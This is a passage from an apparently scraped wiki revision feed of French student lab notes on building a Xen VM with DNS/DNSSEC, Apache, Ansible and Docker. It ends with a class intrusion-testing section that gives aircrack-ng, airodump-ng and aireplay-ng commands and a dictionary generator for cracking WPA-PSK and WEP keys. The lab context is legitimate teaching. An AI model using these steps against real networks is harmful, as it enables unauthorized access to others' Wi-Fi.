  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  # export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  # xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # = adresse de private-chlamydiae + 10&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 193.48.57.180       # l'adresse de la VM principale&lt;br /&gt;
   address 192.168.0.4&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire:&lt;br /&gt;
- on crée notre index.html (basique)&lt;br /&gt;
- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
====Equilibreur de charge====&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51804</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51804"/>
				<updated>2019-12-16T13:35:21Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* DNSSEC */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Cordouan on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
